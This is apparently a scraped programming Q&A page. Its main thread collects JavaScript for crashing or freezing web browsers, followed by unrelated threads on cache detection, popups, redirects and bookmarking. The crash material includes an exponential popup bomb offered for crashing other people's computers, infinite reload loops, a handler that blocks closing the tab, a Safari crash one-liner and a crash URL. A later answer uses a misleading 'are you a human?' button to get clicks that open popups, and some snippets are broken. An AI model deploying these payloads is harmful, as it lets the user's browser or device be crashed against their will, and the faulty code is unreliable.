How to crash Chrome browser? - javascript

For testing purposes, I need a quick and easy way to crash my tab/browser. I'm stress testing my website, and these sites are invaluable for Google Chrome.
chrome://crash
chrome://kill
chrome://hang
chrome://quit
chrome://restart
These sites can be found at chrome://about. Another site (not listed on chrome://about is chrome://inducebrowsercrashforrealz- it will crash the top-level process for Chrome, including all tabs in all browser windows and all opened apps). Originally, I was trying to see what data was preserved in case of a crash. For example, the textarea in our form remained filled out upon restarting.
However, these URL's are only valuable if I manually type the URL into the browser. Using this question (and many others I don't have the links to), I confirmed what I suspected- you can't
redirect to chrome:// pages
link to chrome:// pages
in any other way request info from chrome:// pages (ie. iframe)
Link to chrome:// url from a webpage
This poses a problem- I want to cause the browser to crash (chrome://inducebrowsercrashforrealz) when the user reaches a specific part of the form. Is there any script which can cause the browser to crash?
I've tried while loops, but even when they're exponential, they take a while to kill the page, and never affect the browser. I'd like the crash to be either instantaneous, or eat up enough memory for the browser to freeze.

WARNING this will crash ANY browser or the computer using PopUps attack:
If you want to crash somebodies computer or browser
PopUp CODE that CRASHES a browser or computer
<script type="text/javascript">
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script>
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
If you really want to make their browser seriously hang up, you use this popup it will continue to uploading with 2 more and 2 more popup pages for each popup that means 2x2 popups second time 4 popups then 8, 16, 32, 64 and so on popups. It makes as if was a virus it will spread PopUps in the browser, filling the screen with popups till either the computer or the browser crashes and hangs up and shuts down, just...
NOTE: You did not hear this from me OKAY... LOL... I ONLY advice this as a piratical joke on a friend and not for an online web page.
If you wish to make it crash faster then just add more JavaScript:CrashAndBurn(self.location,'_blank'); to onload body like this example x4:
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
It will load 4 popups for each popup that emans after 4 popups it will load 4x4 meaning 18 popups and then 18x4 that is 72 and then 72x4 that is 288 popups and then 288x4 that is 1152 popups just in 4 rounds of popups in a few seconds.
And if you want to be EXTREME HORRIBLE then use x10 example:
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
and you have 8 popups with 10 that is 10x10=100 popups and then 1000 and after that 1 000 000 popups and GUARANTEED crash fast.
EDIT You can use a while loop instead of copy-pasting 10 times. It would be much shorter.

Google Chrome Crashers Websites List
chrome://badcastcrash
chrome://inducebrowsercrashforrealz
chrome://crash
chrome://crashdump
chrome://kill
chrome://hang
chrome://shorthang
chrome://gpuclean
chrome://gpucrash
chrome://gpuhang
chrome://memory-exhaust
chrome://memory-pressure-critical
chrome://memory-pressure-moderate
chrome://ppapiflashcrash
chrome://ppapiflashhang
chrome://quit
chrome://restart

<!DOCTYPE html>
<html>
<body>
<h2>Crashing Now</h2>
<p>Hit Ok To Crash</p>
<p id="demo"></p>
<script>
onbeforeunload = function(){localStorage.x=1};
if(confirm("Do you REALLY want me to crash your browser?")){
setTimeout(function(){
while(1)location.reload(1)
}, 1000)
}
</script>
</body>
</html>

for(var i = 0; i === i; i++) {}
should crash your current window

there is one way...
while(true){
var dp = document.getElementByID("spamr");
if(!document.getElementByID("spamr")){
var dp = document.createElementByID("spamr");
dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
}
dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
}

for(var i = 0; i === i; i++) {}

This works, but slowly, it will make the browser unresponsive immediately though.
try {
window.location.replace("chrome://quit")
//some old browsers support this, if they are useing VERY old chromium.
} finally {
history.pushState(null, document.title, location.href);
window.addEventListener('popstate', function(event) {
history.pushState(null, document.title, location.href);
})
while(true) {
let location = 1
let item = 1
localStorage.setItem(location, item)
location = location+1
item = item*2
localStorage.getItem(location)
console.log("added and used: "+item+" at "+location)
}
}
if (window.closed) {
window.location.replace("run.html")
}

Works in chrome, edge, IE:
while(1)location.reload(1)
Continuously hard reload current page (works best over http/https)
And to prevent user from closing tab:
onbeforeunload = () => true; //only works if the user has interacted with the page
Recap:
onbeforeunload = () => true;
if(confirm("Do you REALLY want to crash your browser?")){
setTimeout(function(){
while(1)location.reload(1)
}, 1000)
}
WARNING: THIS WILL COMPLETELY AND UTTERLY CRASH ANY INSTANCES OF CHROME and, if you're running on chromebook or any old OS, this will completely crash your entire system!
EDIT:
a version that works for safari:
window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";

I don't think there's any way to actually crash a client's browser via JS. However, it's possible to just perform tons of useless calculations rendering a tab useless.
while(true) {
for(let i = 99; i === i; i *= i) {
console.log(i);
};
};

for(let index = 0; true; index++){
console.log(index)
}
it will work slowly but it will work.

Simple bookmarklet that crashes your chromebook. If you try to shut down your chromebook and open it again, the screen will stay on for 5 seconds.
javascript:while (true) { window.location.reload(true); };

This should work!
<button onclick="crash()">???</button>
<script type="text/javascript">
function crash(){
if(navigator.userAgent.indexOf("Chrome") != -1 )
{
alert('WHoops')
window.open('http://crashchrome.com/', '_self', '');
}
else {
alert('Hehe')
while (1==1){
console.log(3234567654*45671234567890987654321)
}
}
}
</script>

This link:
http://a/%%30%30
will crash chrome because it results in a null character. Try it!

Related

When does PageTransitionEvent.persisted evaluate to true?

I'm trying to detect if my current page is loaded from cache or is a fresh copy.
I have the onPageShow callback registered on my body tag.
I can see it being triggered, but I cannot produce a circumstance where the event.persisted is actually true.
I've even put firefox in offline mode and I see the response being fetched from cache on the network tab but event.persisted is still false.
Umm I can confirm var isCached = performance.getEntriesByType("navigation")[0].transferSize === 0; this does work on Chrome. Worth trying out.
Also as other suggested you might wanna look at this example How can I use JavaScript to detect if I am on a cached page
From google books
This works in mozilla perfectly.
Try the below code
<meta http-equiv="Cache-control" content="public">
...
<body onpageshow="onShow(event)" onpagehide="onHide(event)">
<div >
<a href='/new.html' >Next page</a>
</div>
<script>
function onShow(event) {
if (event.persisted) {
alert('Persisted...');
}
}
function onHide(event) {
if(event.persisted) {
alert("Persisted")
}
}
</script>
</body>
Add any code in new.html. Blank page is also fine
Then use the browser back. You'll get the alert persisted
Note:
Use a domain or ngrok . Cache doesn't work in local
Reload wont trigger persisted. I tried only with page show/hide
I'am skipping the alternative answers to find cache or not
IE11 does have window.performance.getEntriesByType('navigation') but doesn't have transferSize. However, it seems to leave out connectEnd if the page comes from browser cache.
Extending on #subhendu-kundu s answer, this should also work on IE11
<script>
window.addEventListener('pageshow', function(event) {
if (window.performance) {
var navEntries = window.performance.getEntriesByType('navigation');
if (navEntries.length > 0 && typeof navEntries[0].transferSize !== 'undefined') {
if (navEntries[0].transferSize === 0) {
// From cache
}
} else if (navEntries.length > 0) {
// IE11 seems to leave this completely if loaded from bfCache
if (!navEntries[0].connectEnd) {
// From cache
}
}
}
});
</script>
I don't know if i understood your question correctly, you want to check if the page that is loaded is from disk/memory cache or a fresh one. Please comment below if i understood it wrong.
I'm trying to detect if my current page is loaded from cache or is a
fresh copy.
For this you can open the developer tools of your browser and check the network tab, if the page is loaded from cache it will show indication (from cache).
Chrome supports this out of the box but for fire fox i think you should install web-developer plugin : https://addons.mozilla.org/en-US/firefox/addon/web-developer/
Well one thing I can suggest to disable the cache in the browser and check the size of the fetched code chunk. For the same you can disable the cache from browser itself..(I am just suggesting my views).

using modernizr to determine if multiple window open is supported

the problem I've encountered is documented here.
window.open behaviour in chrome tabs/windows
where you can not open multiple windows via javascript in chrome.
I would like to open the multiple windows if it is supported, if it is not supported I will simply return a list of links.
is there a way using modernizr or something besides browser sniffing that I can determine if the behavior is supported?
This ability to open multiple windows various widely between browser and even by browser config.
So never assume you will be able to open multiple pop ups, you might be able to, but you can only know by testing, it's very easy to test tough.
To test if opening a pop up succeeded, inspect the return value.
var popupWindow = window.open('http://www.google.com/');
if (!popupWindow) {
console.log('the window did not open');
// do other stuff
}
If the window opened the return value will be a Window object.
If the the window did not open, the return value will be be falsy, this exact return value can vary from pop up blocker to pop up blocker, but generally you can assume the value to be falsy if the window did not open; meaning undefined or null.
As such it's very easy to trigger an alternate method in case the window failed to open.
You do not need modernizr or any plugins for this, this behavior of returning the Window object is the same in all browsers.
MDN reference:
https://developer.mozilla.org/en-US/docs/Web/API/Window/open
Firefox and Safari seem to support opening multiple windows by default. Chrome however will block the second window and show the little "pop up" blocked message.
Additionally Chrome will also block opening windows that did not originate from direct users actions; meaning a click or a key press.
Nothing like modernizr or any custom code is going to give you any type of feature detection. The main reason is because all major browsers require some sort of user action to open a new window programmatically - usually a click. So creating a feature detection is out of the question.
This is an interesting question and one where thinking in terms of "progressive enhancement" might help you get to a good solution.
First, let's assume that you cannot open multiple windows in any browser. What would you do? Show a list of links as you've suggested. By adding something like target="_blank" to each link, now we have a working app without any JavaScript (or if the user has JavaScript disabled):
<section id="links-wrap">
<a href="/page-A.html" target="_blank" />
<a href="/page-B.html" target="_blank" />
</section>
This baseline of functionality will work on every single browser ever made - your Treo visitors will love you. However, this experience is less than ideal because the links are likely to open new tabs instead of new windows. So let's use JavaScript to open a new window whenever a link is clicked. Lets also hide each link after it is clicked and position each window so that they are not overlapping:
function openWindowFromLink (link, idx) {
var top = idx % 2 * 600;
var left = Math.floor(idx/2) * 600;
var win = window.open(link.href, 'Window '+ top +'x'+ left, 'width=600,height=600,top='+ top +',left='+ left);
if (win) {
link.style.display = "none";
}
return win;
}
function handleLinkClick(ev) {
ev.preventDefault();
var link = ev.target;
var idx = 0;
var prev = link.previousSibling;
while (prev) {
if (prev.nodeType === 1) {
idx++;
}
prev = prev.previousSibling;
}
openWindowFromLink(link, idx);
}
document.getElementById('links-wrap').addEventListener('click', handleLinkClick);
Now comes the hard part: how can we open many windows at once. As we know, Chrome will only allow one window to open per user click. While other browsers might not have this same restriction, they may add it in the future (I'm actually surprised that they don't all have this restriction right now). So lets assume that all browsers have the same limitation as Chrome. Users don't want to click every single link every time - so lets give them a click target that they can click really fast to open all of the windows. Creative wording will reduce the annoyance of this task.
<div id="rapid-click-box">
Click me really fast and see what happens!
</div>
... and some JavaScript:
var clickBox = document.getElementById('rapid-click-box');
var clickCount = 0;
clickBox.addEventListener('click', function handleRapidClick (ev) {
var link = links[clickCount];
if (link.style.display !== 'none') {
openWindowFromLink(link, clickCount);
}
if (++clickCount === links.length) {
clickBox.removeEventListener('click', handleRapidClick);
clickBox.style.display = 'none';
}
});
Finally, lets take care of those browser which allow multiple windows to be opened at once. We still need the user to click in order to call window.open - so lets get creative and see how we can make the user click something. A cleverly worded welcome message should suffice:
<div id="welcome-message" style="display:none">
<h1>Hey, welcome to my site. Are you a human?</h1>
<button>Yes</button>
</div>
<script>
// show the welcome message immediately if JS is enabled
document.getElementById('welcome-message').style.display = 'block';
</script>
... and once again, a little bit of JavaScript:
var button = document.getElementsByTagName('button')[0];
button.addEventListener('click', function handleYesClick (ev) {
ev.preventDefault();
button.removeEventListener('click', handleYesClick);
document.getElementById('welcome-message').style.display = 'none';
for (var i = 0, l = links.length; i < l; i++) {
if ( !openWindowFromLink(links[i], i) ) {
break;
}
}
if (i === links.length) {
clickBox.style.display = 'none';
}
});
And a fiddle to show it all in action:
https://jsfiddle.net/q8x5pqsw/

Redirect Safari To Chrome

I'm trying to redirect user's of my mobile webapp to use Chrome rather than Safari. I tried using the following:
<script>
javascript:location.href="googlechrome"+location.href.substring(4);
</script>
However this constantly opens tabs in Chrome in a loop. Do you know how I can successfully do this?
Cheers,
Dara
This will cause the page to open every time the webpage is loaded, regardless if you are in Safari or Chrome. This is also very poor User Experience to just forward the user to another browser without their input.
It would be better to have some way for the user to open your site in Chrome and also to have an explanation why it is needed.
There are other schemes for https and callbacks: https://developer.chrome.com/multidevice/ios/links#uri_schemes
<p>This webapp is best viewed in Google Chrome</p>
<button type="button" onclick="openInChrome()">Open in Chrome</button>
<script>
var openInChrome = function() {
if (/^((?!Chrome).)*(Safari)+.*$/.test(navigator.userAgent)) {
var protocol = location.href.substring(0,location.href.indexOf(':'));
var url = location.href.substring(location.href.indexOf(':'));
if (protocol === "http") {
location.href = "googlechrome" + url;
}
else {
location.href = "googlechromes" + url;
}
}
}
</script>
Edit:
Added a check to verify they are in Safari.
Well, the reason is pretty obvious; Chrome is instructed to open Chrome too. You just want a userAgent conditional.
if (navigator.userAgent.indexOf("CriOS") == -1) {
location.href="googlechrome"+location.href.substring(4);
}
I would go on my standard rant about user agent checking being bad, but I trust what you're saying about this being a private webapp. Since iOS doesn't let you change your default browser, I guess this is a fair workaround.

Chrome not supporting my javascript

I just want, when a user comes to my site and closes the window, then I want to know the reason for leaving from my site.
So I'm sending the user to a survey page, using the following script.
It works in every browser but not in Chrome
<script type="text/javascript">
window.onbeforeunload = confirmExit;
function confirmExit() {
if (location.href.indexOf("index.php") != -1)
{
location.href = "http://www.test.com/survey.php";
return "Press 'cancel to go 'survey'";
}
}
</script>
Have you tried to use window.location = ("http://www.test.com/survey.php"); or window.open ("http://www.test.com/survey.php"); instead? That may be easier to do.
You can also do window.open ("http://www.test.com/survey.php", '_newtab'); This will make users less upset off when they are forced to redirect after leaving, because it will be in a new tab.
Well, sometimes there is a good reason for such a code user310850 is quoting
not all websites are in Web, some of them are internal corporate websites
Some if not most of big companies still use IE 6 as standard browser
I would use unload event handler. I assume jquery is good
$(window).unload(function() {
//your code here
});

A Firefox javascript bookmarking problem

I'm using the following JavaScript code:
<script language="JavaScript1.2" type="text/javascript">
function CreateBookmarkLink(title, url) {
if (window.sidebar) {
window.sidebar.addPanel(title, url,"");
} else if( window.external ) {
window.external.AddFavorite( url, title); }
else if(window.opera && window.print) {
return true; }
}
</script>
This will create a bookmark for Firefox and IE. But the link for Firefox will show up in the sidepanel of the browser, instead of being displayed in the main screen. I personally find this very annoying and am looking for a better solution. It is of course possible to edit the bookmark manually to have it not show up in the side panel, but that requires extra steps. I just want to be able to have people bookmark a page (that has a lot of GET information in the URL which is used to build a certain scheme) the easy way.
I'm afraid that it might not be possible to have Firefox present the page in the main screen at all (as Googling this subject resulted in practically nothing worth using), but I might have missed something. If anyone has an idea if this is possible, or if there's a workaround, I'd love to hear about it.
For Firefox no need to set any JavaScript for the bookmark an page by script, only an anchor tag with title and rel="sidebar" can do this functionality
Bookmark This Page
I have tested it on FF9 and its working fine.
When you click on the link, Firefox will open an dialog box New Bookmark and if you wish to not load this bookmark on side bar then un-check Load this bookmark in the sidebar from dialog box.
I think that's the only solution for Firefox... I have a better function for that action, it works even for Opera and shows a message for other "unsupported" browsers.
<script type="text/javascript">
function addBookmark(url,name){
if(window.sidebar && window.sidebar.addPanel) {
window.sidebar.addPanel(name,url,''); //obsolete from FF 23.
} else if(window.opera && window.print) {
var e=document.createElement('a');
e.setAttribute('href',url);
e.setAttribute('title',name);
e.setAttribute('rel','sidebar');
e.click();
} else if(window.external) {
try {
window.external.AddFavorite(url,name);
}
catch(e){}
}
else
alert("To add our website to your bookmarks use CTRL+D on Windows and Linux and Command+D on the Mac.");
}
</script>
You have a special case for
if (window.sidebar)
and then a branch for 'else' - wouldn't firefox land in the first branch and hence only add the panel?
Hojou,
It seems that is the only way to add a bookmark for Firefox. So FF needs to land in the first branch to have anything happening at all. I Googled some more but I'm really getting the idea this is impossible to properly address in FF...

Categories